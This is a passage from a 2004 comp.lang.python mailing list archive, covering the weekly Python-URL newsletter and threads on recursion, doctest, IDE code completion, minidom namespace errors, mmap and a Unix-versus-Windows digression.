            iso-8859-2   <==>  cp912


@-salutations
-- 
Michel Claveau






From python-url at phaseit.net  Tue Sep  7 17:08:04 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 07 Sep 2004 21:08:04 GMT
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep  7)
Message-ID: <chl5st$v8h$1@lairds.us>

QOTW:  "The Canvas widget has amazed me with its flexibility and power: I
love it!" -- Marc Boeren

"For some kind of applications (namely application doing vector drawing), it
is nearly impossible to consider anything else than Tkinter *because* of the
Canvas widget..." -- Eric Brunel


    Unit testing lies near Pythonia's heart.  Tim Peters and Michele
    Simoniato exhibit modern ways of thinking about doctest and unittest.
        http://groups.google.com/groups?frame=left&th=461cc8799e9fe825

    Hyperlink extraction is one of the examples the pyparse 
    distribution works out.
        http://groups.google.com/groups?frame=left&th=55d9cd9980ca727c

    Guido speaks--on decorators, J2, and how to steward Python responsibly.
    Important reading:
        http://article.gmane.org/gmane.comp.python.devel/63486

    Jonathon Ellis automates RSS for Python job listings.
        http://groups.google.com/groups?selm=mailman.2701.1093995339.5135.python-announce-list%40python.org

    The state-of-Python-art under MacOS advances rapidly.  Here's how
    to access a keychain:
        http://bdash.bluewire.net.nz/2004/08/30/example-code-mac-os-x-keychain-access-from-python/


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From saravanan.d at siemens.com  Thu Sep  2 03:42:31 2004
From: saravanan.d at siemens.com (Saravanan D)
Date: Thu, 2 Sep 2004 13:12:31 +0530
Subject: Require Debug Version of Pywin32 Build 163
Message-ID: <ch6j1k$t0d$2@news.mch.sbs.de>

Hello,

I urgently requires the Pywin32 Build 163 (win32all package) in debug
version along with the source code.  I tried to get the code from
sourceforge.net CVS server.  But unfortunately due to some problems i could
not able to get the same.  Can any one provide the sourcecode along with
debug binaries ?

Please send the same to my email id. durai_saravanan at rediffmail.com

Thanks

Saravanan




From heikowu at ceosg.de  Mon Sep 20 05:57:47 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Mon, 20 Sep 2004 11:57:47 +0200
Subject: python is going to die! =(
In-Reply-To: <KZr3d.53$3Y2.19@fe61.usenetserver.com>
References: <mailman.3520.1095631846.5135.python-list@python.org>
	<KZr3d.53$3Y2.19@fe61.usenetserver.com>
Message-ID: <200409201157.48869.heikowu@ceosg.de>

Am Montag, 20. September 2004 05:17 schrieb Hans Nowak:
> julio wrote:
> > -- C # is killing python, first the gnome guys dont know what to choose
> > for their core system development , if mono-C # ? or java ? the only
> > reason C # hasnt being choosen is because of legal issues, and java? well
> > it realy sucks so no surprise , but is considered just because eclipse
> > wich is the most kick ass ide ever. AND they dont even consider python
> > for a high level language to choose!!
>
> If they're choosing between Java and C#, they were obviously not interested
> in high-level languages.  Also, the article you mention in another post
> (http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm)
> says:
>
> """Waugh conceded that the decision to move to a higher level programming
> language is partly a political one. Two major corporate backers of the
> GNOME project have competing technologies -- Novell with the Mono project
> and Sun Microsystems with Java."""

<quote>
"In the meantime a lot of software has been written in Python," he said. "But, 
as yet we have not written anything in the official GNOME release in a 
language other than C. We have included bindings for Java, so you can use the 
GNOME libraries directly from Java which means you don't have to use that 
awful Swing. We also have C++, Perl and Python bindings. All are supported we 
just haven't committed to any of them yet for core GNOME modules."
</quote>

(from just that same article you quoted)

I wonder what this comment means? Python is mentioned as the first language by 
GNOME's head maintainer, so I guess he can't be all that Python-hostile, can 
he? Much rather, he's forced to do a political decision, and the PSF doesn't 
fund GNOME yet, I hope. I wouldn't mind them funding KDE e.V., though... Let 
the flamewars begin. ;)

Heiko.


From ml at dynkin.com  Fri Sep 17 03:22:54 2004
From: ml at dynkin.com (George Yoshida)
Date: Fri, 17 Sep 2004 16:22:54 +0900
Subject: Recursive function not returning value
In-Reply-To: <10kl34qereo06ac@corp.supernews.com>
References: <10kl34qereo06ac@corp.supernews.com>
Message-ID: <cie3au$2efg$1@dojima-n0.hi-ho.ne.jp>

Derek Rhodes wrote:

> OK, I have a recursive function that should return a list, but doesn't
> 
> <start session>
> 
> def test(word):
>     if type(word) == str:
>         print "it's a word"
>         test([word])
> 
>     if type(word) == list:
>         print "The conditional worked, see ->", word
>         return word
> 
> What am I missing?

You are forgetting to return the value.

change this part ::

     if type(word) == str:
         print "it's a word"
         test([word])

to

     if type(word) == str:
         print "it's a word"
         return test([word])    # return the result of test([word])


George


From __peter__ at web.de  Wed Sep  8 04:15:52 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 08 Sep 2004 10:15:52 +0200
Subject: Property confusion
References: <mailman.3023.1094630531.5135.python-list@python.org>
Message-ID: <chmf3o$kme$06$1@news.t-online.com>

kepes.krisztian wrote:

[Same old question under a new subject]

If you don't receive an answer within a reasonable time span you should
consider rephrasing the problem, not just the header.

I tried the code you gave and could not perceive any difference in the
output of the two snippets. Maybe you can post an interactive session with
just the statements that produce different output? Or you rename one class,
to B, say, and add an assertion you expect to succeed but which fails, e.
g.:

class A(object):
    #...
class B(object):
    #...

assert A().some_attr == B().some_attr


Peter



From aleaxit at yahoo.com  Mon Sep  6 09:21:12 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 15:21:12 +0200
Subject: open default MUA with a hyper link
References: <chalvm$1944$1@biggoron.nerim.net>
	<mailman.2850.1094246310.5135.python-list@python.org>
	<chh9lt$imf$1@e3k.asi.ansaldo.it>
	<1gjoxxx.ve4kzfamqqolN%aleaxit@yahoo.com>
	<chhjg9$dqc$1@e3k.asi.ansaldo.it>
Message-ID: <1gjp6j9.1wlpfe9111w7xnN%aleaxit@yahoo.com>

Nemesis <nem at nowhere.invalid> wrote:

> "Alex Martelli" wrote:
> 
> [mailto trick]
> >> How can I use this syntax in order to specify also the body of the
> >> mail?
> > Study the mailto: syntax on any HTML reference, e.g.
> > http://docs.intellifuzz.com/readmore.php?p=39
> 
> Thank you for the link.
> I tried that syntax, but it seems that Internet Explorer
> doesn't support multiline bodies :-/

Your choice is then to either upgrade to a better browser (IE has been
stagnant in features for years, resting on its laurels) or to drive IE
more intimately and "proprietarily" -- with win32com you can probably
make it turn somersaults, although your hair will whiten considerably
while you learn how to do so.


Alex


From info at pythonbyte.com  Wed Sep 29 23:01:25 2004
From: info at pythonbyte.com (Mark J. Nenadov)
Date: Wed, 29 Sep 2004 23:01:25 -0400
Subject: python connection to mssql from windows box
References: <mailman.4112.1096509934.5135.python-list@python.org>
Message-ID: <pan.2004.09.30.03.01.25.169419@pythonbyte.com>

On Wed, 29 Sep 2004 21:05:32 -0500, Josh Close wrote:

> Is there a python module that uses the mssql client tools to connect
> to mssql? When you install php on windows and you want mssql
> connectivity, you need the client tools and it uses that api to
> connect.
> 
> I know there is an ADO connection for postgres to connect from
> windows, but that's different. Is there anything like this for python?
> 
> -Josh

Josh,

I think you will either need to:

A. use win32com to call ADO

or

B. use odbc

- -
Mark J. Nenadov
http://www.pythonbyte.com



From aleaxit at yahoo.com  Sun Sep  5 16:36:29 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 5 Sep 2004 22:36:29 +0200
Subject: gmpy 1.0 for python 2.4 alpha 2 Windows-packaged
References: <1gjhex7.v1umq1aye02xN%aleaxit@yahoo.com>
	<mailman.2807.1094184160.5135.python-list@python.org>
	<1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com>
	<mailman.2884.1094342981.5135.python-list@python.org>
Message-ID: <1gjnvmh.rtkuby1uovodkN%aleaxit@yahoo.com>

Tim Peters <tim.peters at gmail.com> wrote:

> [Tim Peters, on the demise of doctest.master]
> >> Under a hopeful belief that nobody was using that anyway, I didn't
> >> gripe when Edward refactored it out of existence.  This is the first
> >> time we've heard that anyone *was* using it!
> 
> [Alex Martelli]
> > I guess gmpy just wasn't on your radar...!  If you have no need for its
> > multi-precision and special-functions support, that's unsurprising.
> 
> Since I live on Windows most of the time, I use Marc-Andre Lemburg's
> mxNumber.  That comes with a pre-built GMP, so is that much less for

So does gmpy in the prebuilt-for-Windows version, btw.  I may even have
snagged that from Marc Andre's package at some time in the past...

> me to screw up.  I generally don't run package test suites on Windows
> anyway (the odds that something is uniquely broken on my particular
> WIndows box are too low).

Hmmm -- what you mean by Windows and what I mean by Windows must be very
different OS's.  Has DLL Hell disappeared since I finally stopped
working as a Windows guru and turned to Linux, Mac OS X, OpenBSD and
other OS's...?-)


> >> I suppose we could hack one back in, but I'd rather volunteer to
> >> rewrite the gmpy tests to use the stronger 2.4 gimmicks ...
> 
> > Thanks, your offer is welcome and gladly accepted -- as long as all the
> > tests keep running under 2.3 just as well, of course.  There will be a
> > lot of 2.3 around for a long time -- for example, Apple isn't going to
> > change the Python version they use in Panther, which is 2.3, at least
> > until they come out with Tiger, say in May next year, and since, as
> > usual, they'll change $150 or so for the OS upgrade, many people will
> > just keep running Panther (and therefore Python 2.3).  Etc, etc.
> 
> Nothing against 2.3 here, it's simply a surprise that anyone was using
> doctest.master.  SourceForge is down at the moment, so I still don't
> know whether gmpy's use was essential or shallow.  If it was
> essential, we'll have to hack a master workalike back in.

Probably shallow.  Anyway, I'll be glad to mail you a gmpy package if SF
keeps giving problems, let me know!

> It could be too that many projects stumbled into using doctest.master,
> but none yet bothered to try the 2.4 prereleases.

I hadn't, for example -- even though I've been current on 2.4 for a long
time, I hadn't thought of building gmpy for it (shame on me!).


> > I do assume that it's easy to keep the hundreds of tests almost
> > unchanged, to avoid having to maintain them separately in two 
> > versions, and support 2.3 and 2.4 with localized changes to the
> > small spots where the tests are run...?
> 
> It should be easy indeed.  Edward Loper and Jim Fulton (by way of
> Zope3) had thousands of doctests between them, and Python's test suite
> has more than a few too.  None of those doctests had to be changed in
> any way.  But none of them used doctest.master.

Ah... well, let's hope my use was indeed shallow!


> This next *may* be relevant to gmpy.  I'm aware of it but haven't seen
> an instance of it:
> 
> """
> >>> 1/0
> Traceback (most recent call last):
> abc
> ZeroDivisionError: integer division or modulo by zero
> """
> 
> That doctest passes before 2.4, but no longer.  I don't want to "fix"
> that, either, if someone has code like this.
   ...
> Bottom line is that such tests (if any exist) need to be rewritten. 
> Starting the "abc" lines with one or more blanks is sufficient so that
> the test passes under all versions of doctest.

OK, inserting blanks if needed doesn't seem too difficult a fix, I
agree!


Alex


From jdhunter at ace.bsd.uchicago.edu  Thu Sep 16 09:45:52 2004
From: jdhunter at ace.bsd.uchicago.edu (John Hunter)
Date: Thu, 16 Sep 2004 08:45:52 -0500
Subject: datetime and tzinfo
In-Reply-To: <m2oek6tjnz.fsf@mother.paradise.lost> (John Hunter's message of
	"Thu, 16 Sep 2004 08:42:08 -0500")
References: <m2oek6tjnz.fsf@mother.paradise.lost>
Message-ID: <m2llfatjhr.fsf@mother.paradise.lost>

>>>>> "John" == John Hunter <jdhunter at nitace.bsd.uchicago.edu> writes:

    John> I am using the tzinfo classes from the datetime docs, eg
    John> UTC, USTimeZone, and the instantiations Pacific, Central,
    John> Eastern, etc.  I would like to take a datetime instance in
    John> the UTC timezone and construct the equivalent in another
    John> time zone.

OK, I'm a moron.  There is something magical about the send button.  I
can study the docs for an hour, try 18 different things, fail
repeatedly, write a post describing my problem, and then after that
any 5 second glance back at the docs is guaranteed to reveal the
solution

  dt2 = dt1.astimezone(Central)

Sigh....


From john.thingstad at chello.no  Thu Sep  2 10:17:30 2004
From: john.thingstad at chello.no (John Thingstad)
Date: Thu, 02 Sep 2004 16:17:30 +0200
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
Message-ID: <opsdpdzglzpqzri1@mjolner.upc.no>

On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis  
<Brian.Inglis at SystematicSW.Invalid> wrote:

> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
> Kennedy" <jwkenne at attglobal.net> wrote:
>
>> Andre Majorel wrote:
>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
>>>
>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
>>>> Andre Majorel <amajorel at teezer.fr> wrote:
>>>>
>>>>
>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
>>>>
>>>>>> Windows (MS) is not 'Unixism'?
>>>>>
>>>>> If by unixism, you mean any operating system that has a
>>>>> hierarchical filesystem and byte stream files, yes. But that
>>>>> would include quite a few other non-Unix operating systems,
>>>>> including Mac OS 9, Prologue and probably everything else this
>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M).
>>>>
>>>> DOS 2.x+ shall be deemed to be CP/M+!
>>>
>>>
>>> Wasn't it in version 2 that they added directories and
>>> Unix-style file handles ?
>>
>> Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has
>> been trying to turn MS-DOS (later, Windows) into a Unix clone.
>
> MS has been borrowing code from Unix to create a real OS: TCP/IP;
> NTFS<-ffs; memory mapped files<-mmap.
> Shame they keep trying to add their own ideas in too: that must be
> what causes the crashes!
>

You seeem misinformed.
Microsoft swallowed up a team from DEC.
The were developing a operating system called PRISM.
When the project was cancelled they quit DEC in protest.
These peaple had more than a 100 years of experience in developing  
muliuser /
mutitasking operating systems between them. The fact that the NT kernel is  
not
entirely stable yet really shouldn't supprise anyone. Afterall Unix has  
messed with
it's kernel for 30 years. But the modular arcitecture and the microkernel  
are new ideas in
OS design and should in time lead to a more extensible OS than unix.
(Unix tradionally has a spagetti of intercalling function calls as a  
kernel.)
As for following standards thats just plain sense.
Note the Mac OS 10 / Darwin uses a unix kernel because of all the problems  
with
interoperabillity OS 9 had with talking to Windows and Unix boxes.

-- 
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/


From xv0017python at yahoo.com  Wed Sep 15 11:57:09 2004
From: xv0017python at yahoo.com (andresm)
Date: 15 Sep 2004 08:57:09 -0700
Subject: i am going to get crazy!!!
References: <4a9d4c93.0409141615.1d1ab0cb@posting.google.com>	<1095228220.28128.71.camel@devilbox.devilnet.internal>
	<mailman.3350.1095230449.5135.python-list@python.org>
Message-ID: <4a9d4c93.0409150757.2015bbbb@posting.google.com>

Steven Bethard <steven.bethard at gmail.com> wrote in message news:<mailman.3350.1095230449.5135.python-list at python.org>...
> Cliff Wells <clifford.wells <at> comcast.net> writes:
> > 
> > I don't know if this is any good, but since you like Eclipse:
> > 
> > http://sourceforge.net/projects/pyeclipse/
> 
> Actually, if you like Eclipse, I'd suggest pydev:
> 
> http://pydev.sourceforge.net/
> 
> It's actually still updated from time to time (last in July of this year), and 
> I've played around with it a little back when I had to write in Java (ugh!) 
> and it did integrate pretty well with Eclipse.  If I remember right though, it 
> doesn't use the code-completion that all the wxPython based apps do...
> 
> Steve


Sorry for my bad english =( i am from bolivia plus i
havent sleeped at all last night plus i am kind of
disapointed.

 I am not interested in gui design in particular,
the only thing i want in an ide is that it have full
code completion like i tried to describe with that
mess of words =P i will try to refactor:
-------------------------------- case 1 ----------------------------
 if i am learning how to use the sys
module in my code,then i type:

      sys . 

  A list should appear showing me all the
  attributes of the module or
  class : variables,locals,globals,builtins,etc.

  like typing dir(sys) or sys.__dict__ 

  when i focus on one
  item in the list of attributes , for example "
setprofile " method of the sys module, the 
documentation of the method should appear in another
popup 
----------------------------------- case 2----------------------------
   
   I dont have an ide that suports this feature , so i have 
 to press alt+tab to go to the shell ( ipython is spectacular)
 type help(sys) , look for the member i want, in this case the
 set profile builtin function , or i type help(sys.setprofile) or 
 i type sys. +tab and i python ' shows me all the members of'
 sys modules, Then i have to go back to editor and keep 
 writing
------------------------------------ conclusion
------------------------
 with an ide i can scan object's behavior and their members's 
 doc in 1.5 seconds while not changing the enviroment , in situa
 tion 2 i can do exactly the same, just that it takes 5 to 10 sec 
 which is way to much time for an operation i do so so frecuently
 This is an example of how an ide makes a huge diference . This
 is the only feature i want in an ide, it saves tons of time
------------------------------------------------------------------------------------------------
 
 If you still havent tried a ' powerfull ide' please try downloading 
 netbeans and coding a simple class :
 http://www.netbeans.org/downloads/index.html

 I have tried a number of python ides, and eclipse-plugins for 
 python, all the eclipse plugins are abandoned or are just text
 editors with sintax highlinting , none of the ides i tried fully
suport
 full code completion dot-trigered with docstring thing, i have tried:

 Pycrust or py, komodo , wingide , kate , spe , boa ,idle, drpython,
eric3 , blackader , scite , etc and no luck. Komodo is 100% the best
but it still lacks a litle and it totaly SUCKS for linux , and is
beautifull
for windows.

 I am sure most people have used this kind of code
completion - help system since it is part of many
ides, like netbeans, eclipse , zend studio , jcreator
, sharp develop , .net , etc.


 But the question again, how do you remember all
methods,attributes,parameters , builtins , etc without
code completion-calltip-auto doc help of any modern
ide? except python ones =(  

 Are you in case 1 ? cause is too time consuming


From gandalf at geochemsource.com  Thu Sep  2 13:13:26 2004
From: gandalf at geochemsource.com (Gandalf)
Date: Thu, 02 Sep 2004 19:13:26 +0200
Subject: Tuple question
In-Reply-To: <opsdpk6kx9433nmu@news.cisco.com>
References: <41374a65$0$22750$db0fefd9@news.zen.co.uk>	<opsdpkf1d5433nmu@news.cisco.com>	<41374cfb$0$22750$db0fefd9@news.zen.co.uk>
	<opsdpk6kx9433nmu@news.cisco.com>
Message-ID: <413754B6.4040005@geochemsource.com>


> users = ['admin', 'user1', 'user2']
> address = ('www.python.org', 80)
>
> index and count only make sense when the collection is homogeneous.  
> Therefore they are not defined for tuple. 

Why?

address = ['www.python.org',80]

A list can hold any kind of objects. I think that the 'index' method for 
tuples would be a good idea.




From b.niemann at betternet.de  Tue Sep 14 05:52:42 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Tue, 14 Sep 2004 11:52:42 +0200
Subject: Comparing perfs of two python interpreters on the same Linux
 machine (for Zope)
In-Reply-To: <26196943.0409140117.1508f5eb@posting.google.com>
References: <26196943.0409140117.1508f5eb@posting.google.com>
Message-ID: <ci6f1b$9qo$1@online.de>

Vbfoo Bar wrote:

> Hello,
> 
> To implement a Zope intranet on a linux RedHat ES 3, I had to
> install a Python 2.3.4 that I have compiled myself.
> 
> I would like to compare the respective performance of this
> python interpreter and that of the Python provided by RedHat
> (just a little bench program would be sufficient) as I suspect
> the binary Python 2.3.4 (or just the Zope?) I have produced is 
> very inefficient (very very slow!).
> 
> Additional info below. Thanks by advance for your advice.
> 
> The python binaries on my machine:
> ==================================
> The python that comes with RedHat ES 3 (this is a Python 2.2.3):
> -rwxr-xr-x  2 root  root    795584 Aug  8  2003 /usr/bin/python
> 
> The python I have compiled myself (Python 2.3.4, required and used
> by Zope/plone):
> -rwxr-xr-x  1 root  root   2265733 Jun 25 14:58
> /usr/local/bin/python2.3
> 
> (Note that the binary sizes are very different: is this suspect?)
> 
> How I produced my (apparently inefficient binaries):
> ====================================================
> For python:
> [root# wget http://www.python.org/ftp/python/2.3.4/Python-2.3.4.tgz
> [root# ./configure
> [root# make ; make install
> 
> For zope:
> $ ./configure --prefix=/usr/local/zope-2.7.1-0
> --with-python=/usr/local/bin/python2.3
> $ make
> $ make install

The size difference is probably caused by debug informations (look the -g option 
in the calls to cc and ln while compiling python). This should not cause any 
difference in runtime performance.
The RedHat package probably uses non-default compiler options to tune 
performance. You could fetch the source rpm for RedHats Python, build it (what 
ever tool you need to build binaries from srpm.. I use Debian ;) and look for 
options used by RedHat. Apply them when you configure your python
CGLAGS="-O2 -march=i686 -omit-framepointer" ./configure
(just an example from the very far back of my head, have not done C stuff for 
quite a long time and the options probably look very different..)


From pink at odahoda.de  Wed Sep 15 14:36:57 2004
From: pink at odahoda.de (Benjamin Niemann)
Date: Wed, 15 Sep 2004 20:36:57 +0200
Subject: Convert Dictionary to String, vice versa?
In-Reply-To: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>
References: <As%1d.951$0i5.675@newsread3.news.pas.earthlink.net>
Message-ID: <cia22m$a9o$01$1@news.t-online.com>

Byron wrote:
> Hello,
> 
> I am a newbie and would like to know if it is possible to convert a 
> string back to a dictionary?
> 
> For example, I can convert a dictionary to a string by doing this:
> 
>     >>> names = {"Candy" : 2.95, "Popcorn" : 4.95}
>     >>> strNames = str(names)
>     >>> print strNames
>     {'Popcorn': 4.9500000000000002, 'Candy': 2.9500000000000002}
> 
> However,  is there a way to convert a string back to a dictionary?
No way that I would know of. What is your intention?
Does the exact format of the string representation matter? If not, take 
a look at the pickle module.


From abra9823 at mail.usyd.edu.au  Thu Sep  9 00:34:16 2004
From: abra9823 at mail.usyd.edu.au (Ajay)
Date: Thu,  9 Sep 2004 14:34:16 +1000
Subject: [XML-SIG] minidom parse error - keyerror
In-Reply-To: <RQB%c.26808$Z14.8877@news.indigo.ie>
References: <1094565296.413dbdb0c8c18@www-mail.usyd.edu.au>
	<mailman.3019.1094619792.5135.python-list@python.org>
	<RQB%c.26808$Z14.8877@news.indigo.ie>
Message-ID: <1094704456.413fdd48349c1@www-mail.usyd.edu.au>

hi!


Quoting Alan Kennedy <alanmk at hotmail.com>:

> [Ajay]
> > i have tried the archives now and heaps of Google searches but am no
> closer
> > to finding out what the error is.
> >
> > the error does not appear if i use expat.
>
> and
>
> >>i am parsing the attached document.
> >>the code is
> >>parser = make_parser('xml.sax.drivers2.drv_xmlproc')
> >>ruleSet = parse(ruleSetFile, parser=parser)
>
> >>i get the following error
> >>
> >>Traceback (most recent call last):
> >>  File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line
> 98,
> >>in startElementNS
> >>    prefix = self._current_context[a_uri]
> >>KeyError: u'http://www.w3.org/2001/02/appelv1'
>
> Since I can't see your document, I can't say for sure.
>
> But by the look of that traceback, you have neglected to declare a
> namespace in your XML document. The error appears to occur when the
> parser is looking for the "namespace prefix" associated with the
> namespace URI "http://www.w3.org/2001/02/appelv1".
>
> Post an example document if I'm wrong.

i do have the namespace prefix defined.
an example document is below
<?xml version="1.0" encoding="UTF-8"?>
<appel:RULESET xmlns:p3p="http://www.w3.org/2000/12/p3pv1"
xmlns:appel="http://www.w3.org/2001/02/APPELv1">

<appel:RULE behavior="block" description="Any marketing must be opt-in with
prompt|Data-Type|Any" prompt="yes" promptmsg="Your privacy agent has
detected a site which will use your data for marketing if you agree to it
- do you want to go to this page">
<p3p:POLICY>
<p3p:STATEMENT>
<p3p:PURPOSE appel:connective="or">
  <p3p:telemarketing required="opt-in"/>
  <p3p:contact required="opt-in"/>
</p3p:PURPOSE>
</p3p:STATEMENT>
</p3p:POLICY>
</appel:RULE>

<appel:RULE behavior="block" description="No compulsary marketing"
prompt="no">
<p3p:POLICY>
<p3p:STATEMENT>
<p3p:PURPOSE appel:connective="or">
<p3p:telemarketing required="always"/>
<p3p:contact required="always"/>
</p3p:PURPOSE></p3p:STATEMENT></p3p:POLICY></appel:RULE>

<appel:RULE behavior="block" description="Blocked because site will use
your information for marketing purposes on an opt-out basis." prompt="no">
<p3p:POLICY>
<p3p:STATEMENT>
<p3p:PURPOSE appel:connective="or">
<p3p:telemarketing required="opt-out"/>
<p3p:contact required="opt-out"/>
</p3p:PURPOSE></p3p:STATEMENT></p3p:POLICY></appel:RULE>

</appel:RULESET>

thanks
cheers



>
> --
> alan kennedy
> ------------------------------------------------------
> email alan:              http://xhaus.com/contact/alan
> --
> http://mail.python.org/mailman/listinfo/python-list
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From rschroev_nospam_ml at fastmail.fm  Thu Sep 16 16:08:50 2004
From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven)
Date: Thu, 16 Sep 2004 20:08:50 GMT
Subject: python: ascii read
In-Reply-To: <mailman.3409.1095351473.5135.python-list@python.org>
References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de>	<1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com>
	<mailman.3409.1095351473.5135.python-list@python.org>
Message-ID: <mpm2d.248302$4a4.12699742@phobos.telenet-ops.be>

Brian van den Broek wrote:

> But I don't really feel I've a handle on the significance of saying it 
> maps the file into memory versus reading the file. The naive thought is 
> that since the data gets into memory, the file must be read. But this 
> makes me sure I'm missing a distinction in the terminology. Explanations 
> and pointers for what to read gratefully received.

Eventually the file is read, of course (or at least parts thereof). Mmap 
is a feature of the virtual memory system in modern operating systems, 
so you need a basic understanding of virtual memory in order to 
understand mmap. All details can be found e.g. in Modern Operating 
Systems by Andrew Tanenbaum. 
http://mirrors.kernel.org/LDP/LDP/tlk/tlk.html does a good job 
explaining how Linux handles it,, but I'll try to explain the general 
basics here in short.

With virtual memory systems, the addresses that are used by application 
programs don't refer directly to memory locations. Instead the addresses 
are split in two parts; the first part is a page number, the second is 
the offset of the memory location in the page. The system keeps a list 
of all pages. When an address is referenced, the page is looked up in 
that list (Pages are blocks of memory, typically 4-8 kB). There are two 
possibilities:
- The page is already in memory. In that case, the list contains the 
real physical address of the page in memory. That address is combined 
with the offset to form the physical address of the memory location.
- The page is not in memory. The virtual memory system loads it in 
memory and stores the physical address in the list. Processing then 
continues as in the other case. Note that it may be necessary to remove 
another page from memory in order to load a new one; in that case, the 
other page is paged to disk if it is still needed so that it can be read 
again later.

This behind-the-scenes translation and paging to and from disk is what 
allows modern operating systems to use much more memory than what's 
physically available in the system.

mmap creates an entry in the list that says the page is not in memory, 
but tells the system what file to load it from: a range of addresses is 
'mapped' to the data in the file. It also returns the logical address of 
the data. When an address in the range is referenced, the virtual memory 
system loads the appropriate page from disk (or possibly more than one 
page at the time, for efficiency reasons) to memory and stores its 
(theirs) location in the list. An application program can access exactly 
the same way as any other part of memory.

> And, since mmap behave differently on different platforms, I'm mostly a 
> win32 user looking to transition to Linux.

I think Python hides much of the differences between the Windows and 
Unix implentations of mmap (Windows doesn't really have mmap; instead 
you use CreateFileMapping and MapViewOfFile).

-- 
"Codito ergo sum"
Roel Schroeven


From spam at nimblegen.com  Wed Sep  8 17:32:34 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Wed, 08 Sep 2004 16:32:34 -0500
Subject: Xah Lee's Unixism
